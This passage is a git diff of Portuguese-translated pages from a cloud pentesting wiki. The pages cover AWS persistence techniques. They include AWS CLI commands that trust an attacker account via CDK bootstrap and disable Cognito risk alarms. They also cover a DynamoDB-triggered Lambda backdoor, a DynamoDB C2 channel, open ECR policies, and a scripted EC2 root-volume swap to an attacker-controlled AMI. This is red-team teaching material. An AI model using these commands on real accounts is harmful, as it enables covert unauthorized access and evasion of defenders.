 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-elasticsearch-unauthenticated-enum.md => aws-elasticsearch-unauthenticated-enum/README.md} (65%)
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-iam-and-sts-unauthenticated-enum.md => aws-iam-and-sts-unauthenticated-enum/README.md} (52%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-kinesis-video-unauthenticated-enum.md => aws-kinesis-video-unauthenticated-enum/README.md} (54%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-media-unauthenticated-enum.md => aws-media-unauthenticated-enum/README.md} (53%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-rds-unauthenticated-enum.md => aws-rds-unauthenticated-enum/README.md} (64%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-s3-unauthenticated-enum.md => aws-s3-unauthenticated-enum/README.md} (50%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
deleted file mode 100644
index c0119e9e1..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Persistência do API Gateway
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Para mais informações, vá para:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Política de Recursos
-
-Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles.
-
-### Modificar Autorizadores Lambda
-
-Modifique o código dos autorizadores lambda para conceder a si mesmo acesso a todos os endpoints.\
-Ou simplesmente remova o uso do autorizador.
-
-### Permissões IAM
-
-Se um recurso estiver usando autorizador IAM, você pode se conceder acesso a ele modificando as permissões IAM.\
-Ou simplesmente remova o uso do autorizador.
-
-### Chaves de API
-
-Se chaves de API forem usadas, você pode vazá-las para manter a persistência ou até mesmo criar novas.\
-Ou simplesmente remova o uso das chaves de API.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
new file mode 100644
index 000000000..953ca7e25
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Política de Recursos
+
+Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles
+
+### Modificar Lambda Authorizers
+
+Modifique o código dos lambda authorizers para conceder a si mesmo acesso a todos os endpoints.\
+Ou simplesmente remova o uso do authorizer.
+
+### Permissões IAM
+
+Se um recurso estiver usando um IAM authorizer você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
+Ou simplesmente remova o uso do authorizer.
+
+### API Keys
+
+Se API keys estiverem sendo usadas, você pode leak as chaves para manter persistence ou até criar novas.\
+Ou simplesmente remova o uso de API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
deleted file mode 100644
index 576f068fd..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - Persistência do Cloudformation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Para mais informações, acesse:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### Pilha de Inicialização do CDK
-
-O AWS CDK implanta uma pilha CFN chamada `CDKToolkit`. Esta pilha suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a pilha com parâmetros, ou o AWS CDK cli.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
new file mode 100644
index 000000000..92653cd46
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Para mais informações, acesse:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+O AWS CDK implanta uma CFN stack chamada `CDKToolkit`. Essa stack suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a stack com parâmetros, ou o AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
deleted file mode 100644
index 2fe6aef4a..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - Persistência do Cognito
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Para mais informações, acesse:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Persistência do usuário
-
-Cognito é um serviço que permite atribuir funções a usuários não autenticados e autenticados e controlar um diretório de usuários. Várias configurações diferentes podem ser alteradas para manter alguma persistência, como:
-
-- **Adicionar um User Pool** controlado pelo usuário a um Identity Pool
-- Dar uma **função IAM a um Identity Pool não autenticado e permitir o fluxo de autenticação básica**
-- Ou a um **Identity Pool autenticado** se o atacante puder fazer login
-- Ou **melhorar as permissões** das funções dadas
-- **Criar, verificar e privesc** via atributos controlados por usuários ou novos usuários em um **User Pool**
-- **Permitir provedores de identidade externos** para fazer login em um User Pool ou em um Identity Pool
-
-Verifique como realizar essas ações em
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Um atacante com esse privilégio poderia modificar a configuração de risco para poder fazer login como um usuário Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-Por padrão, isso está desativado:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
new file mode 100644
index 000000000..8c102b2e3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
@@ -0,0 +1,40 @@
+# AWS - Persistência do Cognito
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Para mais informações, acesse:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Persistência de usuários
+
+Cognito é um serviço que permite atribuir roles a usuários não autenticados e autenticados e controlar um diretório de usuários. Várias configurações diferentes podem ser alteradas para manter alguma persistência, como:
+
+- **Adding a User Pool** controlled by the user to an Identity Pool
+- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
+- Or to an **authenticated Identity Pool** if the attacker can login
+- Or **improve the permissions** of the given roles
+- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
+- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+
+Confira como realizar essas ações em
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Um atacante com esse privilégio poderia modificar a configuração de risco para conseguir logar como um Cognito user **sem que alarmes sejam acionados**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas as opções:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+Por padrão, isso está desativado:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
index d39cec146..ab1a75b61 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
@@ -1,18 +1,18 @@
-# AWS - Persistência do DynamoDB
+# AWS - DynamoDB Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### DynamoDB
 
-Para mais informações, acesse:
+Para mais informações acesse:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-### Gatilhos do DynamoDB com Backdoor Lambda
+### DynamoDB Triggers with Lambda Backdoor
 
-Usando gatilhos do DynamoDB, um atacante pode criar uma **backdoor furtiva** associando uma função Lambda maliciosa a uma tabela. A função Lambda pode ser acionada quando um item é adicionado, modificado ou excluído, permitindo que o atacante execute código arbitrário dentro da conta AWS.
+Usando gatilhos do DynamoDB, um atacante pode criar um **furtivo backdoor** ao associar uma função Lambda maliciosa a uma tabela. A função Lambda pode ser acionada quando um item é adicionado, modificado ou excluído, permitindo que o atacante execute código arbitrário dentro da conta AWS.
 ```bash
 # Create a malicious Lambda function
 aws lambda create-function \
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
 --event-source <STREAM_ARN> \
 --region <region>
 ```
-Para manter a persistência, o atacante pode criar ou modificar itens na tabela DynamoDB, o que acionará a função Lambda maliciosa. Isso permite que o atacante execute código dentro da conta AWS sem interação direta com a função Lambda.
+Para manter persistência, o atacante pode criar ou modificar itens na tabela DynamoDB, o que acionará a função Lambda maliciosa. Isso permite que o atacante execute código na conta AWS sem interação direta com a função Lambda.
 
-### DynamoDB como um Canal C2
+### DynamoDB como um C2 Channel
 
-Um atacante pode usar uma tabela DynamoDB como um **canal de comando e controle (C2)** criando itens contendo comandos e usando instâncias comprometidas ou funções Lambda para buscar e executar esses comandos.
+Um atacante pode usar uma tabela DynamoDB como um **command and control (C2) channel** criando itens contendo comandos e usando instâncias comprometidas ou funções Lambda para buscar e executar esses comandos.
 ```bash
 # Create a DynamoDB table for C2
 aws dynamodb create-table \
@@ -54,6 +54,6 @@ aws dynamodb put-item \
 --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
 --region <region>
 ```
-As instâncias comprometidas ou funções Lambda podem verificar periodicamente a tabela C2 em busca de novos comandos, executá-los e, opcionalmente, relatar os resultados de volta à tabela. Isso permite que o atacante mantenha persistência e controle sobre os recursos comprometidos.
+As instâncias comprometidas ou funções Lambda podem verificar periodicamente a tabela C2 em busca de novos comandos, executá-los e, opcionalmente, relatar os resultados de volta para a tabela. Isso permite que o atacante mantenha persistência e controle sobre os recursos comprometidos.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
deleted file mode 100644
index 802caae7f..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# AWS - Persistência EC2
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Persistência de Rastreamento de Conexão do Grupo de Segurança
-
-Se um defensor descobrir que uma **instância EC2 foi comprometida**, ele provavelmente tentará **isolar** a **rede** da máquina. Ele poderia fazer isso com um **Deny NACL** explícito (mas os NACLs afetam toda a sub-rede), ou **mudando o grupo de segurança** para não permitir **qualquer tipo de tráfego de entrada ou saída**.
-
-Se o atacante tiver um **reverse shell originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### Gerenciador de Ciclo de Vida EC2
-
-Este serviço permite **agendar** a **criação de AMIs e snapshots** e até mesmo **compartilhá-los com outras contas**.\
-Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
-
-### Instâncias Agendadas
-
-É possível agendar instâncias para serem executadas diariamente, semanalmente ou até mensalmente. Um atacante poderia executar uma máquina com altos privilégios ou acesso interessante onde ele poderia acessar.
-
-### Solicitação de Frota Spot
-
-Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **user data** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
-
-### Instâncias de Backdoor
-
-Um atacante poderia obter acesso às instâncias e backdoor elas:
-
-- Usando um **rootkit** tradicional, por exemplo
-- Adicionando uma nova **chave SSH pública** (ver [opções de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring os **User Data**
-
-### **Configuração de Lançamento de Backdoor**
-
-- Backdoor a AMI utilizada
-- Backdoor os User Data
-- Backdoor o Par de Chaves
-
-### VPN
-
-Criar uma VPN para que o atacante possa se conectar diretamente através dela ao VPC.
-
-### Peering VPC
-
-Criar uma conexão de peering entre o VPC da vítima e o VPC do atacante para que ele possa acessar o VPC da vítima.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
new file mode 100644
index 000000000..b0bffb4c6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
@@ -0,0 +1,62 @@
+# AWS - EC2 Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Para mais informações consulte:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistence
+
+Se um defensor descobrir que uma **instância EC2 foi comprometida** ele provavelmente tentará **isolar** a **rede** da máquina. Ele pode fazer isso com um **Deny NACL** explícito (mas NACLs afetam toda a subnet), ou **alterando o security group** para não permitir **any kind of inbound or outbound** traffic.
+
+Se o atacante tiver um **reverse shell originated from the machine**, mesmo que o SG seja modificado para não permitir inbound ou outbound traffic, a **conexão não será encerrada devido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Este serviço permite **agendar** a **criação de AMIs e snapshots** e até **compartilhá-los com outras contas**.\
+Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
+
+### Scheduled Instances
+
+É possível agendar instâncias para rodar diariamente, semanalmente ou até mensalmente. Um atacante poderia executar uma máquina com altos privilégios ou acesso interessante ao qual ele poderia se conectar.
+
+### Spot Fleet Request
+
+Spot instances são **mais baratas** que instâncias regulares. Um atacante poderia lançar um **small spot fleet request for 5 year** (por exemplo), com **automatic IP** assignment e um **user data** que envia para o atacante **quando a spot instance start** o **endereço IP** e com um **high privileged IAM role**.
+
+### Backdoor Instances
+
+Um atacante poderia obter acesso às instâncias e instalar backdoors nelas:
+
+- Usando um **rootkit** tradicional, por exemplo
+- Adicionando uma nova **public SSH key** (ver [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Backdooring o **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor o AMI usado
+- Backdoor o User Data
+- Backdoor o Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Troque o volume root EBS de uma instância em execução por um construído a partir de um AMI ou snapshot controlado pelo atacante usando `CreateReplaceRootVolumeTask`. A instância mantém suas ENIs, IPs, e role, inicializando efetivamente em código malicioso enquanto aparenta não ter sido alterada.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Criar uma VPN para que o atacante possa conectar-se diretamente à VPC.
+
+### VPC Peering
+
+Criar uma peering connection entre a VPC vítima e a VPC do atacante para que ele possa acessar a VPC vítima.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
new file mode 100644
index 000000000..b0b58172f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse **ec2:CreateReplaceRootVolumeTask** para trocar o volume root EBS de uma instância em execução por um restaurado a partir de um AMI ou snapshot controlado pelo atacante. A instância é reiniciada automaticamente e retoma com o sistema de arquivos root controlado pelo atacante enquanto preserva ENIs, IPs privados/públicos, volumes anexados não-root, e os metadata da instância/IAM role.
+
+## Requisitos
+- A instância alvo é EBS-backed e está em execução na mesma região.
+- AMI ou snapshot compatível: mesma arquitetura/virtualização/modo de boot (e product codes, se houver) que a instância alvo.
+
+## Pré-verificações
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## Substituir root a partir de AMI (preferido)
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Alternativa usando um snapshot:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Evidência / Verificação
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Esperado: ENI_ID e PRI_IP permanecem os mesmos; o ID do volume raiz muda de $ORIG_VOL para $NEW_VOL. O sistema inicializa com o sistema de arquivos do AMI/snapshot controlado pelo atacante.
+
+## Notas
+- A API não exige que você pare manualmente a instância; EC2 orquestra a reinicialização.
+- Por padrão, o volume raiz EBS substituído (antigo) é desanexado e permanece na conta (DeleteReplacedRootVolume=false). Isso pode ser usado para reversão ou deve ser excluído para evitar custos.
+
+## Reversão / Limpeza
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
deleted file mode 100644
index 9af8b27b6..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Imagem Docker Oculta com Código Malicioso
-
-Um atacante poderia **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
-
-### Política do Repositório
-
-Adicione uma política a um único repositório concedendo a si mesmo (ou a todos) acesso a um repositório:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Note que o ECR requer que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma política IAM **antes que possam se autenticar** em um registro e enviar ou puxar quaisquer imagens de qualquer repositório Amazon ECR.
-
-### Política de Registro e Replicação entre Contas
-
-É possível replicar automaticamente um registro em uma conta externa configurando a replicação entre contas, onde você precisa **indicar a conta externa** onde deseja replicar o registro.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Primeiro, você precisa dar à conta externa acesso ao registro com uma **política de registro** como:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Então aplique a configuração de replicação:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
new file mode 100644
index 000000000..518fcee7a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
@@ -0,0 +1,145 @@
+# AWS - ECR Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Para mais informações, veja:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Imagem Docker Oculta com Código Malicioso
+
+Um atacante pode **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter persistência na conta AWS alvo. Em seguida, o atacante pode implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de forma furtiva.
+
+### Repository Policy
+
+Adicione uma policy a um único repositório concedendo a você (ou a todos) acesso a um repositório:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
